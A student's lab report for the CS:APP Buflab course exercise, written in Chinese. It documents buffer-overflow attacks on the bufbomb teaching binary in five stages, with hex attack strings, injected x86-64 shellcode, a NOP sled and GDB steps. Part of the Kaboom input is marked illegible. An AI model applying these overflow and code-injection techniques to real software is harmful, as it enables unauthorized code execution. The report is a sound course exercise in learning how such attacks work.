



哈爾濱工業大學 (深圳)
HARBIN INSTITUTE OF TECHNOLOGY

实验设计报告

开课学期: 2025 年春季
课程名称: 计算机系统
实验名称: Lab1 Buflab
实验性质: 课内实验
实验时间: 4.23 地点: T2617
学生班级: 5
学生学号: 220110515
学生姓名: 金正达
评阅教师: _____
报告成绩: _____

实验与创新实践教育中心印制

2025 年 4 月

1. 各阶段攻击与分析

(1) Smoke 阶段 1 的攻击与分析

关键代码:

```
void test()
{
    int val;
    /* Put canary on stack to detect possible corruption */
    volatile int local = uniqueval(); // 在栈上放置金丝雀值 (Canary)，用于检测栈是否被破坏

    val = getbuf();

    /* Check for corrupted stack */
    if (local != uniqueval()) { // 检查栈是否被破坏
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
        printf("Boom!: getbuf returned 0x%x\n", val);
        validate(3);
    } else {
        printf("Dud: getbuf returned 0x%x\n", val);
    }
}

/* 攻击目标函数 */
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}
```

攻击思路:

反汇编获得 bufbomb.S

从汇编代码中得知 getbuf 函数构建的 buf 大小为 0x40, smoke 函数的地址为 0x4013c7。

设计一个攻击字符串，用它来覆盖数组 buf，然后溢出并覆盖 ebp 和 ebp 上面的返回地址。

调试方法:

反汇编定位地址: objdump -d bufbomb > bufbomb.s

输入输出验证:

输入:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c7 13 40 00 00 00 00 00
```

输出:

```
(base) jin_zd@DESKTOP-Q9M21PV:~/csapp/lab1$ cat ./smoke/smoke.txt |./hex2raw |./bufbomb -u 220110515
Userid: 220110515
Cookie: 0x50f536ac
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
```

(2) Fizz 的攻击与分析

关键代码:

/* 跳转目标函数 */

void fizz(int val)

```
{
    if (val == cookie) {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    } else
        printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}
```

攻击思路:

fizz 函数会把寄存器 eax 和 edx 里的数值进行比较。寄存器 eax 的数值是从内存中存放 cookie 的位置取出来的，寄存器 edx 的数值是从 rbp - 0x4 字节的地址上取出来的。

需要让这两个寄存器里的数值相等，即将 rbp 的值设置成栈上的某一个地址，然后把这个地址往下 4 字节的地方设置成 cookie 的参数值。

获得 rbp 地址 0x55677720，在其下方 4 个字节处设置 cookie，将 rbp 地址作为 rbp 值覆盖原有 rbp。

调试方法:

启动 gdb: gdb bufbomb

在 getbuf 打上断点: b getbuf

启动程序: run -u 220110515

运行至断点: c

查看寄存器信息: info f

获得 rbp 地址为 0x55677720

输入输出验证:

输入:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 ac 36 f5 50
20 77 67 55 00 00 00 00
f4 13 40 00 00 00 00 00
```

输出:

```
(base) jin_zd@DESKTOP-Q9M21PV:~/csapp/lab1$ cat ./fizz/fizz.txt |./hex2raw |./bufbomb -u 220110515
Userid: 220110515
Cookie: 0x50f536ac
Type string:Fizz!: You called fizz(0x50f536ac)
VALID
NICE JOB!
```

(3) Bang 的攻击与分析

关键代码:

```
int global_value = 0;
void bang(int val)
{
    if (global_value == cookie) {
        printf("Bang!: You set global_value to 0x%x\n", global_value);
        validate(2);
    } else
        printf("Misfire: global_value = 0x%x\n", global_value);
    exit(0);
}
```

攻击思路:

把攻击代码放到栈上,同时让返回地址指针指向该代码的起始位置。当执行 ret 指令时,程序就会开始执行攻击代码,攻击代码需要将全局变量设置为 cookie 值,然后返回 bang 函数继续执行。编写的攻击汇编代码:

```

mov    $0x50f536ac, %eax
mov    %eax, 0x405240
push   $0x40143f
ret

```

调试方法:

先将计好的攻击字符串写在 bang.txt

\$./hex2raw < bang.txt > bang-raw.bin # 将攻击字符串的二进制字节序列保存到 bang-raw.bin

启动 GDB

(gdb) b *getbuf+0x1a # 在 ret 指令前断点

(gdb) run -u 220110515 < bang-raw.bin # 运行到断点

(gdb) x/64bx \$rsp # 查看栈数据是否注入成功

(gdb) x/xw 0x405240 # 检查 global_value 样) 是否被修改

(gdb) si # stepi 命令单步执行 shellcode

输入输出验证:

输入:

```

b8 ac 36 f5 50 89 04 25
40 52 40 00 68 3f 14 40
00 c3 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
e0 76 67 55 00 00 00 00

```

输出:

```

(base) jin_zd@DESKTOP-Q9M21PV:~/csapp/lab1$ cat ./bang/bang.txt |./hex2raw |./bufbomb -u 220110515
Userid: 220110515
Cookie: 0x50f536ac
Type string:Bang!: You set global_value to 0x50f536ac
VALID
NICE JOB!

```

(4) Boom 的攻击与分析

关键代码:

构造一个攻击字符串, 让 getbuf 函数把正确的 cookie 值返回给 test 函数, 同时修复被攻击破坏的栈, 让程序执行完攻击代码后能正常回到 test 函数继续运行。

攻击思路:

借助 %rax 寄存器传递 cookie 值, 还原被破坏的栈帧状态, 攻击时栈里的一些数据(比如栈帧指针 rbp)可能被改乱。在攻击代码里写指令, 把这些被破坏的数值恢复成原来的

样子，保证程序不报错。使用 `push` 和 `ret` 指令跳转回去。编写的攻击汇编代码：

```
mov $0x50f536ac, %rax
mov $0x55677740, %rbp
push $0x4014bf
ret
```

调试方法：

先将计好的攻击字符串写在 boom.txt

\$./hex2raw < boom.txt > boom-raw.bin # 将攻击字符串的二进制字节序列保存到 boom-raw.bin

启动 GDB 调试

(gdb) b getbuf

(gdb) run -u 220110515 < boom-raw.bin

获取原 rbp 和返回地址

(gdb) info frame

(gdb) x/gx \$rbp # 原 rbp 值

输入输出验证：

输入：

```
48 c7 c0 ac 36 f5 50 48
c7 c5 40 77 67 55 68 bf
14 40 00 c3 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
e0 76 67 55 00 00 00 00
```

输出：

```
(base) jin_zd@DESKTOP-Q9M21PV:~/csapp/lab1$ cat ./boom/boom.txt |./hex2raw |./bufbomb -u 220110515
Userid: 220110515
Cookie: 0x50f536ac
Type string:Boom!: getbuf returned 0x50f536ac
VALID
NICE JOB!
```

(5) Kaboom 的攻击与分析

关键代码：

/* Buffer size for getbufn */

#define KABOOM_BUFFER_SIZE /*一个大于等于 512 的整数常量*/

// Nitro 模式核心特征

```
void launch() {
```

```
    if(nitro)
```

```
    {
```

```
        alloca(random_size);    // 栈空间随机偏移
```

```
        testn();
```

```
    }
```

```
}
```

```
/*
```

```
 * testn - Calls the function with the buffer overflow bug exploited
```

```
 * by the level 4 exploit.
```

```
*/
```

```
void testn()
```

```
{
```

```
    int val;
```

```
    volatile int local = uniqueval();
```

```
    val = getbufn();
```

```
    /* Check for corrupted stack */
```

```
    if (local != uniqueval()) {
```

```
        printf("Sabotaged!: the stack has been corrupted\n");
```

```
    }
```

```
    else if (val == cookie) {
```

```
        printf("KABOOM!: getbufn returned 0x%x\n", val);
```

```
        validate(4);
```

```
    }
```

```
    else {
```

```
        printf("Dud: getbufn returned 0x%x\n", val);
```

```
    }
```

```
}
```

攻击思路:

定位缓冲区地址（运行时动态获取），使用 GDB 获得运行时 buf 大致开始的地址为 0x55677510。

确定返回地址偏移，使用 objdump 获得 testn() 从 getbufn() 返回的地址为 0x401542。

查看 getbufn 反汇编获得 buf 大小，为 0x210。

利用 nop 指令填充 buf 前部。

间接获取并设置 %rbp 值。

设计攻击汇编代码:

```
mov $0x50f536ac, %rax
mov %rsp, %rbp
add $0x10, %rbp
push $0x401542
ret
```

编译后, 构建攻击字符串

攻击字符串: [nop 雪橇] + [攻击机器码] + [覆盖的返回地址]

[nop 雪橇]: nop 雪橇个数 = getbufn 获取到的 buf 大小 - [攻击机器码]占用的字节个数 +

8 (testn() 原 rbp 值)

[攻击机器码]: 参考上述攻击代码示例, 将其生成攻击机器码。

[覆盖的返回地址]: 指向 nop 雪橇中间。ret addr 约等于 &buf + 0.5*sizeof(buf)

调试方法:

先将计好的攻击字符串写在 kaboom.txt

\$./hex2raw -n < kaboom.txt > kaboom-raw.bin # 将攻击字符串的二进制字节序列保存到 kaboom-raw.bin

启动调试并捕捉 5 次调用

(gdb) b getbufn # 在 getbufn 函数打断点

(gdb) run -n -u 220110515 < kaboom-raw.bin

获得运行时 buf 大致开始的地址

(gdb) b *getbufn+0x15 # 在 call Gets 前断点

(gdb) run -n -u 220110515

(gdb) p/x \$rax # 打印 buf 起始地址 (rax 存储 buf 指针)

记录 5 次调用时的关键寄存器值

每次调用时执行

(gdb) p/x \$rsp # 查看栈指针

(gdb) p/x \$rbp # 查看基址指针

(gdb) p/x \$rax # 确认 cookie 是否正确

输入输出验证:

输入:

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```


[illegible]

```

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90
48 c7 c0 ac 36 f5 50
48 89 e5
48 83 c5 10
68 42 15 40 00
c3
18 76 67 55 00 00 00 00

```

输出：

```

(base) jin_zd@DESKTOP-Q9M21PV:~/csapp/lab1$ cat ./kaboom/kaboom.txt | ./hex2raw -n | ./bufbomb -n -u 220110515
Userid: 220110515
Cookie: 0x50f536ac
Type string:KABOOM!: getbufn returned 0x50f536ac
Keep going
Type string:KABOOM!: getbufn returned 0x50f536ac
Keep going
Type string:KABOOM!: getbufn returned 0x50f536ac
Keep going
Type string:KABOOM!: getbufn returned 0x50f536ac
Keep going
Type string:KABOOM!: getbufn returned 0x50f536ac
VALID
NICE JOB!

```

2. 实验中遇到的问题及解决方法

(详细描述在实验过程中遇到的问题，包括错误描述、排查过程以及最终的解决方案。)

1. 在 Fizz 阶段，最初未能准确计算出覆盖 rbp 所需的偏移量，导致程序未能正确跳转到目标函数 fizz。通过 GDB 调试，仔细观察栈的布局，并使用 info frame 命令精确计算了 rbp 的位置，最终确定了正确的偏移量。
2. 在 Bang 阶段，编写的汇编代码在运行时未能正确设置全局变量 global_value。检查了汇编代码中的内存地址，发现 global_value 的地址不正确。通过反汇编 bufbomb，找到了 global_value 的正确地址 0x405240，并更正了汇编代码。
3. 在 Kaboom 阶段，由于栈空间的随机偏移，难以确定攻击代码的返回地址。使用了“nop 雪橇”技术，在缓冲区前部填充了大量的 nop 指令。这样，即使返回地址存在一定的偏差，程序也能“滑”到攻击代码上执行。同时，通过 GDB 调试多次运行程序，观察 rsp 的变化，从而更精确地确定了返回地址的范围。

3. 请总结本次实验的收获，并给出对本次实验内容的建议

收获：

通过实际操作，了解了栈的结构、栈帧的布局以及函数调用过程中栈的变化。掌握了缓冲区溢出漏洞的原理以及如何利用它来执行恶意代码。提高了阅读和编写汇编代码的能力，并熟练使用了

GDB 进行调试，这对于分析和解决底层问题至关重要。

建议：

可以考虑对实验难度进行更细致的分级，提供更多的引导和提示，以帮助基础较弱的同学更好地完成实验。如果能提供一些可视化的工具来展示栈的变化过程，将有助于同学们更直观地理解缓冲区溢出攻击的原理。